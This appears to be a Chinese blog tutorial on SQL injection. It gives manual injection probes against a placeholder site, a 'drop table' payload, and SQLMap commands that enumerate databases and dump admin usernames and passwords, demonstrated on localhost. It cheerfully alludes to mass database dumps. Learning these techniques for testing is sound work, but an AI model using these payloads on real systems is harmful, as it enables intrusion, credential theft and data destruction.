Pic by Baidu

0x 00 前言

    正是SQLMAP这种神器的存在,SQL注入简直Easy到根本停不下来....

    PS:国内类似软件也有阿D,明小子,挖掘机,当你用过他们之后你才会发现SQLMap才是绝对的注入神器

0x 01 注入原理

*****************************************开始分割线*****************************************

  存在注入的原因是因为后台在编写程序时,没有对用户输入的数据做过滤导致的,正如事实上,不是所有的用户都是友好的

  比如:用户在某个输入框提交的参数是 2

      浏览器提交的URL为: http:// www.XXX.com/index.php?id=2

      服务器后台执行SQL语句: select * from table1 where id = 2

      返回Response,浏览器解析返回的页面,然后你就看到新的页面了

     如果邪恶的用户提交的参数是 2;drop table1

        服务器后台执行SQL语句: select * from table1 where id =2 ; drop table1

        相当于后台执行了两条SQL语句,查表,并且把table1删除 - -

      从而导致了SQL注入。

  按照这个思路,现在写一下手工注入的一般步骤:

  1、 判断是否存在注入点(数字型注入)

    www.XXX.com/index.php?id=2‘--

    www.XXX.com/index.php?id=2 and 1=1  --

    www.XXX.com/index.php?id=2 and 1=2 --

    第2条返回正常,第1,3条返回不正常说明id参数存在注入漏洞

  2、 判断数据库类型

    可以根据不同数据库特有的表,或者根据不同数据库的语法不同进行判断

    www.XXX.com/index.php?id=2 and exists(select * from sysobjects) --      返回正常是SQLServer 数据库

    www.XXX.com/index.php?id=2 and exists(select * from msysobjects) --     返回正常是Access 数据库

    www.XXX.com/index.php?id=2 and len('a') = 1 --  返回正常是SQLServer或者MySQL

    www.XXX.com/index.php?id=2 and substring('abc','1','1') = a --  返回正常是SQLServer

    www.XXX.com/index.php?id=2 and subStr('abc','1','1')= a --  返回正常是Oracle

    知道是哪种类型数据库后就可以选择对应语法构造SQL语句进行攻击

  3、 判定是否存在admin表

    www.XXX.com/index.php?id=2 and exists(select * from admin) --  返回正常 存在admin表

  4、猜admin表中的字段名

    www.XXX.com/index.php?id=2 and exists(select username from admin) --  返回正常 表示admin表存在username字段

  5、 猜字段值

    www.XXX.com/index.php?id=2 and exists(select * from admin where id =1 and asc(mid(username,1,1))) < 100 -- 返回正常说明username中有ascii码小于100的字母,然后根据折半发准确判断是哪一个字符

  以上是 SQLServer的手工注入步骤,在MySQL和Oracle中略有不同,思路还是这个样子,好了终于把这部分也不补上了~~

*****************************************结束分割线*****************************************

0x 02 安装SQLMap

  1. 安装python

    官网https://www.python.org/ 选择最新版本下载安装即可

    因为SQLMap使用Python写的 ,所以没有Python的环境SQLMap无法运行

  2. 安装SQLMap

    官网 http://sqlmap.org/ 选择最近版本安装即可

  3. 设置环境变量

    为了使用便利,将SQLMAP的安装目录添加到系统环境变量中

    之后在CMD中就可以直接使用SQLMap了

    不设置环境变量的话,要把CMD的当前目录切换到SQLMap安装目录才可以使用

0x 03 SQLMap常用命令介绍

  1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  

    判断id参数是否存在注入:结果中包含 “id” is Vulnerable  字段表示存在注入

    存在注入,下面的步骤才可以执行成功~

  2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  --dbs

    列举能列出的所有数据库名

  3.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db

    列出当前使用的数据库名,假设列出“sqltest”数据库  

  4.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  --is-dba

    判断该注入点是否有管理员权限:返回true  表示是管理员

  5.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables

    获取sqltest中的所有表,假设有"admin"表

  6.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns

    列举表admin的字段(列名),假设存在"username","password"字段

  7.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump

    下载字段username,password的值,若询问是否破解md5加密,选择no即可

    至此,对一个简单的注入点(GET方式),现在就已经得到了我们想要的数据

    想看工具的注入过程 使用-v参数

    -level 会提高注入等级(默认0 只会判断get,post参数是否有注入点)

    若注入点是POST方式,或是注入点才Cookie,User-Agent中,可以利用-Date 参数 -Cookie参数指定

    当然用buip Suite架个代理,截取数据包,直接 -r 参数引入数据包也可以完成上述的注入情况的~

0x 04 注入Demo

    本次演示使用Apache+Php +Mysql 环境,其他环境的话

    使用SQLMap输入还是相同的命令,这点SQLMap做的好方便

       

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --dbs 列所有数据库名

     

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --current-db 列出当前数据库

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --is-dba   判断注入点是否有管理员权限

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --tables  猜表名

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" --columns  猜字段名

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" -C "id,name" --dump 猜id和name的值

    

    

    网络上流传的脱裤 用的可就是下面的一句话

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --dump-all

    突然发现 强大的东西往往仅仅是一句话 ! !

    这条命令会直接把test数据库中所有的表全部下载到安装目录output文件夹中

    然后就有了  2000W  xxx 800W xxx ....................你懂得

    

『安全工具』注入神器SQLMAP的更多相关文章

  1. 网站入侵工具 SQL注入神器

    0x 00 前言 SQLMAP 0x 01 注入原理              不说了 *****************************************结束分割线********** ...

  2. SQL注入神器———Sqlmap!

    Sqlmap 开源,python编写 支持5种SQL注入检测技术: 1.基于布尔的注入检测 2.基于时间的注入检测 3.基于错误的注入检测 4.基于UNION联合查询的检测 5.基于堆叠查询的检测 支 ...

  3. 『安全工具』目录扫描 DirBuster AND 御剑

    要想熟悉目标网站的体系架构,知道网站有哪些目录是必不可少的 向AWVS,Burp类大型扫描工具也可以进行目录扫描,不过个人感觉远没有专业扫描工具来的简单,实在 0x 01 DirBuster 简介:D ...

  4. 『安全工具』Nmap 强悍的端口扫描工具

    作为时下流行的端口扫描工具,Nmap有因其扫描的隐密性有“端口扫描之王”之称 上图是黑客帝国(The Matrix)中崔妮蒂用Nmap入侵核发电站的能源管理系统 0x 01 Nmap介绍 Nmap是一 ...

  5. 『在线工具』 基于 xsser.me 源码 + BootStrap 前端 的 XSS 平台

    乌云社区上一个小伙伴的对xsser.me 的源码做了 BS 的优化,本人已经搭建好,提供给大家免费使用,大牛求绕过,多谢. 地址: http://xss.evilclay.com (目前开放注册,不需 ...

  6. 『安全工具』Nessus多功能扫描器

    0x 00 前言 写这篇博客,证明我还活着…… 0x 01 安装Nessus  直接官网  www.tenable.com/products/nessus/select-your-operating- ...

  7. 『 效率工具 』Spring Boot版的轻量级代码生成器,减少70%以上的开发任务

    一. 前言 之前很着迷于代码自动生成,减少写重复代码的工作量.网络上也搜索了很久,有基于插件的,有GUI的.但其配置和学习成本都比较高,都不是很如我意. 本想自己用SpringBoot写一个,在收集相 ...

  8. SQLmap是一款用来检测与利用SQL漏洞的注入神器。

    sqlmap 重要参考 http://www.kali.org.cn/forum-75-1.html SQLmap是一款用来检测与利用SQL漏洞的注入神器.开源的自动化SQL注入工具,由Python写 ...

  9. 防止sql注入和sqlmap介绍

    sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...

随机推荐

  1. HDOJ的题目分类

    模拟题, 枚举 1002 1004 1013 1015 1017 1020 1022 1029 1031 1033 1034 1035 1036 1037 1039 1042 1047 1048 10 ...

  2. 在win2003上安装配置win 服务 遇到的问题

    在win2003上安装配置win 服务 win服务安装后启动不起来 .. 没有装.net framework4.0   要装这个版本 mysql-connector-net-6.3.4.zip    ...

  3. 基于Minifilter框架的文件过滤驱动理解

    概述 Minifilter即File System Minifilter Drivers,是Windows为了简化第三方开发人员开发文件过滤驱动而提供的一套框架,这个框架依赖于一个称之为Filter ...

  4. [Design Pattern] Front Controller Pattern 简单案例

    Front Controller Pattern, 即前端控制器模式,用于集中化用户请求,使得所有请求都经过同一个前端控制器处理,处理内容有身份验证.权限验证.记录和追踪请求等,处理后再交由分发器把请 ...

  5. UVALive 6198 A Terribly Grimm Problem

    题目大意是 给出L,H      10^10范围 为[L, H]这个连续的整数区间寻找一个序列. 序列的长度要跟[L, H]一样 然后序列中的数都是素数,并且互不相同 并且序列中第i个数 要求是L + ...

  6. wxPython学习笔记(三)

    要理解事件,我们需要知道哪些术语? 事件(event):在你的应用程序期间发生的事情,它要求有一个响应. 事件对象(event object):在wxPython中,它具体代表一个事件,其中包括了事件 ...

  7. save与 merge与 saveOrUpdate的区别

    save()方法很显然是执行保存操作的,如果是对一个新的刚new出来的对象进行保存,自然要使用这个方法了,数据库中没有这个对象. update()如果是对一个已经存在的托管对象进行更新那么肯定是要使用 ...

  8. C primer plus 读书笔记第三章

    本章的标题是数据和C,主要内容是介绍数据类型中的整数类型和浮点数类型. 本章的第一段代码 #include <stdio.h> int main(void) { float weight; ...

  9. Oracle按用户进行统计信息更新

    按用户进行统计信息更新 PL/sqldev工具使用system用户连接到oracle,打开命令窗口执行以下SQL,用户名请根据实际情况进行更改: begin dbms_stats.gather_sch ...

  10. 黑信 socket即时通讯 示例

    整个过程 首先开启服务器 打开一个SDK大于4.4的手机---B 打开一个SDK小于4.4的手机---A 相互发送一条消息,对方就可以收到,当然这些消息都是通过服务器[转发]过来的 MainActiv ...